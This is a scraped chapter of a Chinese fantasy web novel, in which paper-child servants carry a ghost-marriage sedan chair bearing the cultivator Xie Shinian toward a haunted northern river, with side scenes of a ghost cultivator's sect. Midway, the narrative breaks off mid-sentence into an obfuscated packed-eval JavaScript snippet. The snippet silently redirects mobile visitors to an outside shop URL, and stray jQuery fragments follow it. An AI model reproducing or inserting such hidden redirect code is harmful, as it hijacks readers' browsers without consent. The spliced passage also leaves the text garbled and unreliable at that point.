文趣网 > 其他小说 > 剑上覆雪四寸 > 3. 纸人童
    “况且两位也不打算放过我,不是吗?”

    “一只小妖不值得你们追到如此地步。”阮清洱从衣襟中拿出一道青光符纸,纸上凌乱画有“祭道”二字。

    她手腕轻侧,漫不经心晃了晃指尖,唇角噙着一抹浅淡笑意:“你们真正想要的是这个吧。”

    谢识年眼皮一跳:“是又如何,以为披了张人皮掩住妖气,就认不出你了吗?”

    他们一路追至荒庙,妖气便散了,说明那只花妖要么已死,要么披上了人皮。

    先前见到冥火燃起的时候,方临洲确有过第一种猜想。

    花妖已死,但祭道符不会因此消失。

    可他们却并未找到遗留下来的祭道符。

    直到青衣庙里的神像活了过来,一个自称被配冥婚的农女。

    方临洲按下谢识年的肩,示意他先别动,道:“我们只为此符,顺道将你送进大荒,不为你性命。”

    烛台还被掠生剑挑着,悬在半空。

    阮清洱的目光从烛台上移开,落在谢识年身上:“那可不好办了。”

    “这张符纸,就是我的身家性命,我也不想再被送进大荒。”

    她笑了一下,一字一顿:“现在,这位少侠,你可以出嫁了。”

    料是已经对任何变故做好准备的谢识年,也被噎了一下,蹦出一句:“你有病?”

    他反手丢出一道定身符,没好气道:“劝你老实点,别敬酒不吃吃罚酒。”

    方临洲一时失笑,道:“姑娘现在处境自保都已是不易,却还不忘打趣。”

    阮清洱颇为无辜地眨眨眼:“他先碰了那鬼修的定情信物,就是要去成亲的。”

    她微微偏头。

    “你听。”

    殿外雨声好像忽然远了一层。

    孩童传唱的声音稚嫩而飘渺:

    “石榴轿帘血染红,纸钱铺路月朦胧。今夜新娘不梳头,盖头底下骨簪空……”

    却犹如贴在谢识年耳边:

    “骨簪空,骨簪空,谁来点那龙凤灯?”

    下一瞬空中炸开一股极强的灵力波动,一顶朱红花轿凭空显现,骤然落地!

    鎏金轿檐悬着褪色彩穗,四围绣凤凰纹样的轿幔沉沉垂落,檐下铜铃悬而不动,四下一阵死寂。

    花轿四角各站了一名小童,朝谢识年恭敬道:“娘子,请上轿。”

    小童竹骨纸皮,双髻缠着红纸,白纸敷面,浅墨瞳仁,像有灵识一般。

    “咦,不对。”

    纸人小孩们眼珠骨碌碌转了一圈,扫过眼前的三个人,盯着阮清洱好一会儿。

    她还被定着身,微眯了眯眼看回去:男子难道不可以吗?

    最后小纸人的目光又齐刷刷落回谢识年身上,问:“娘子,您的陪嫁呢?”

    阮清洱听此刚舒了口气,就听到方临洲说:“你走不了。”

    “盘根水。”他解了阮清洱身上的定身符,随即四面八方水流涌来,缠绕着她。

    水系术法,盘根水,只能在施术之人的允许范围内活动。

    “如你所说,我们不会放你走。”

    方临洲道:“所以就劳驾姑娘也当一下陪嫁丫鬟了。”

    谢识年一脸黑线:“我没说要嫁。”

    方临洲捡起早被掠生撂在地上的烛台,安慰道:“不妨去看看。”

    纸人小孩们附和道:“是呀是呀,郎君还在苦苦等着娘子洞房呢。”

    谢识年脸色更黑了,掌心中的灵火越燃越旺。

    纸人小孩们见此纷纷捂住头:“莫要误了吉时!娘子快快上轿吧!”

    谢识年指了指阮清洱:“你上去。”

    阮清洱只好走过去,权当示范一遍,证明这是他命中注定的姻缘。

    果不其然,被守着轿门的两位小童拦下:“尽管你长得很漂亮,但是不可以哦。”

    阮清洱摸摸他们的头:“你们郎君头一回娶那么高的娘子吧。”

    纸人小孩点点头:“还是郎君头一个完整的娘子呢!以前的娘子都是分开进去的。”

    阮清洱安抚他们:“没关系,这次就是你们郎君要分开下去啦。”

    花轿轿门小而窄,谢识年整个人几乎要折成九十度才勉强进去。

    纸人小孩们歪歪脑袋,为首的一个摸摸袖口,朝帘中递上一根蜡烛:“娘子,香梨。拿了香梨,才好相离。”

    轿中的人没说话,只伸出一只手接过,旋即没入帷幔之中。

    阮清洱目光微凛,那只手白得近乎透明,不见丝毫血色,指甲上却染了蔻丹。

    分明是一只女子的手。

    方临洲神色凝重:“识年?”

    他没立刻得到回应。

    掌心的罗盘指针毫无征兆地转了两圈,最终指回原点。

    “怎么了?”少年的声音从帘后幽幽传出来,“目前我这没什么,就是这轿子结构有点像棺椁。外面怎么样?”

    这时一名小纸人道:“娘子不要再说话了,我们要上路了。”

    “起轿!”

    四个纸人小孩双脚悬空,像纸扎的风筝被线牵着,抬着花轿往前飘。

    阮清洱一手搭在轿杆上,也飘了起来。

    出了青衣庙不久,便来到一片白茫茫的水域,有如死水,映着灰蒙蒙的天光,看不见对岸。

    远处一艘乌篷船徐徐驶来,船头点着一盏白灯笼,灯火发青。

    小纸人们将花轿稳稳地落在渡口,齐声道:“娘子,该过黑水了。”

    谢识年掀帘探出半个身子,一脸阴沉:“这鬼修真活在阴间?”

    纸人小童却被他突然出来吓了一跳:“怎么是位男子!娘子呢!”

    谢识年一副看弱智的眼神:“还以为你们不分男女呢。非要我上轿。”

    “哎呀看错了。”

    四个小纸人反应了好一会儿,挠挠头,聚在一起商量道:“大人也没说男子不可以吧?”

    “没说没说,大人从未吩咐过。”

    “而且大人是鬼修,就应该补阳才对呀!”

    黑水源起幽都之山,亘古长流,隔阴阳两界,不在人间界。

    ……怎么会一瞬千里走到这儿?

    这片水域并非黑水,而是溯洄。

    十七年前止息坠落的地方。

    只有昆仑的沙棠木可浮,就是眼前那只乌篷船了。

    再往北,便是北域。

    就算是一名韶光境的鬼修,也不一定能做到这般,遑论刚突破近旻境不久。

    阮清洱望着水面出了神。

    她想起在成为青衣使之前,曾为寻一把属于自己的神武,而只身来到北域。

    北域杀伐之气极重,而孕育出止息剑的启天神境,恰有个逢乱必出的美名。

    不过神境喜好的是大乱子,好趁大能陨落之时,收缴各类神兵入库。

    总之:机缘极其难得。

    第一次见到神境的一条缝隙时,阮清洱便问:“我修为不过才笼华境,你为什么找到我?”

    神境境灵道:“我为天地所生,受感召而来。你需要一件兵器。”

    阮清洱透过那条细若剑刃的缝隙,看到无数兵器与累累白骨,道:

    “传说你爱吞兵器,有时连人带着一起吃,万一把我也吃了怎么办?”

    “那是古战场!”

    境灵正色道:“我内有三千境,只好给你开一道缝隙,不然整个大陆都知道我开了,会反过来把我抢光的。”

    阮清洱眼底含笑,看着它:“我一个人也能把你抢光呀。”

    境灵郑重其事道:“这些也都是我抢来的,你不许再抢了。”

    它指向止息剑的方向:“只有这一把是我自己生的,你要好好对它。”

    临别之时,境灵对她说:“若有下次见面,我会为你打开三千境。”

    此后经年,直至死岛之战,止息沉入溯洄,神境再未出现过。

    北域终年雪封,灵气更为贫瘠,没有外力相冲,灵力在丹田中成

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891366|212752||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    翻江倒海之势。

    阮清洱只觉耳中一阵嗡鸣。

    她此刻就在溯洄,却还是感知不到止息。

    乌篷船渐渐靠岸。

    四个纸人小孩发出尖锐的笑声:“大人召我们回去啦!娘子要见到郎君啦!”

    “一群傻子。”谢识年轻嗤一声,“是回家的路吗就认。”

    方临洲从腰间拿出一个卷轴,灵力注入的瞬间,卷轴铺展开来。

    谢识年看他:“拿音画轴干什么?”

    方临洲唔了一声,道:“此行应当凶多吉少,提前找一下外援。”

    谢识年思索了一会儿,同期弟子中比他优秀的一个指头都数得过来:“谁啊?敢来北域吗?”

    方临洲轻咳了一声:“玄衣使。”

    谢识年:“……你有钱吗?”

    方临洲摇了摇头。

    谢识年又问:“你有权有势吗?”

    方临洲又摇了摇头。

    “对吧,”谢识年点点头,“这些都没有哪来的祭道符,没有祭道符玄衣使怎么会来?”

    “虽然没有玄衣的,但有青衣的便足矣。”说罢,他看向阮清洱。

    “她与青衣是旧识,若是得知青衣尚有祭道符留存,又在北域,不会不来。”

    谢识年:“……”

    此刻青衣本人丹田起火,被熏到掉眼泪,有点不太相信自己的耳朵:“……你说谁?玄衣?”

    *

    半日前,穹桑地界,桐兮泽畔。

    灰袍道姑踏水而立,铜钱剑上的血珠顺着剑脊滚落,没入泽中。

    鬼修半跪在滩涂上,浑身是伤,一道传送符在他掌心碎裂,却未能带他离开。

    道姑垂眼看着他:“出了北域,你以为你还能逃到哪里?若不是我先找到你,你恐怕早已变成一具彻头彻尾的尸骨。”

    “跟我回去,阿爹阿娘才能保你,明白吗?”

    “保我?”鬼修仿佛听了什么天大笑话般,“他们若真要保我哈哈哈……阿姐,活着的就不会是你!”

    他喉间又涌上一股鲜血,大笑道:“我能走到这,已经比你同门那些阿猫阿狗强多了,不是吗?”

    道姑还没来得及再说些什么,虚空中忽然探出一只苍白的手,五指如钩,攥住鬼修的后颈,将他猛然拽入一道裂缝之中。

    裂缝合拢,只余一声极轻的:“暮云收?是主上让你……”

    “明措!”

    道姑下意识去抓他的手,却被明措放开。

    她望向北域天际,后知后觉感到心口一阵刺痛,手中攥着的铜钱剑仍鸣颤不止。

    *

    北域,幽都殿。

    明措被掷于石阶之下,浑身骨骼碎裂声清晰可闻。

    他匍匐在地,不禁想起被驱逐那日,左使暮云收告诉他:

    “这次尊主不杀你已是仁慈。若有下次,便是你的死期。”

    于是他声音嘶哑道:“主上,我找到了……”

    “您想要的东西,一张符、那张祭道符,在一个农女身上。我已将她困入阴婚阵,花轿会把她带到无量山脚下。”

    石阶之上,一只指节修长的手缓缓抬起,向前轻轻一握。

    他似乎感知到什么,轻笑一声:“瓷女,你去一趟。”

    “是。”

    一位通体为月白素瓷的女子手拿一个红烛,嫣然一笑:“明措仙君真是好眼光,轿中还是个俊俏的小郎君呢。”

    明措眼中闪过一丝惊愕:“不可能是个郎君!我见那女子体质绝佳,十分适合做成炉鼎,才将她抓回来献给主上赔罪的!”

    只可惜瓷女话音刚落,便不见了身影。

    而此时千里之外,溯洄水面的花轿猛然震颤!如被无形巨力攥住,偏离了它本来的路线。

    溯洄之上,乌篷船破水而来。

    撑船的是一位老婆婆,弓着背,穿着宽大的灰布衫,只露出半截枯瘦的下巴:

    “不知诸位从何方来,又到何方去?”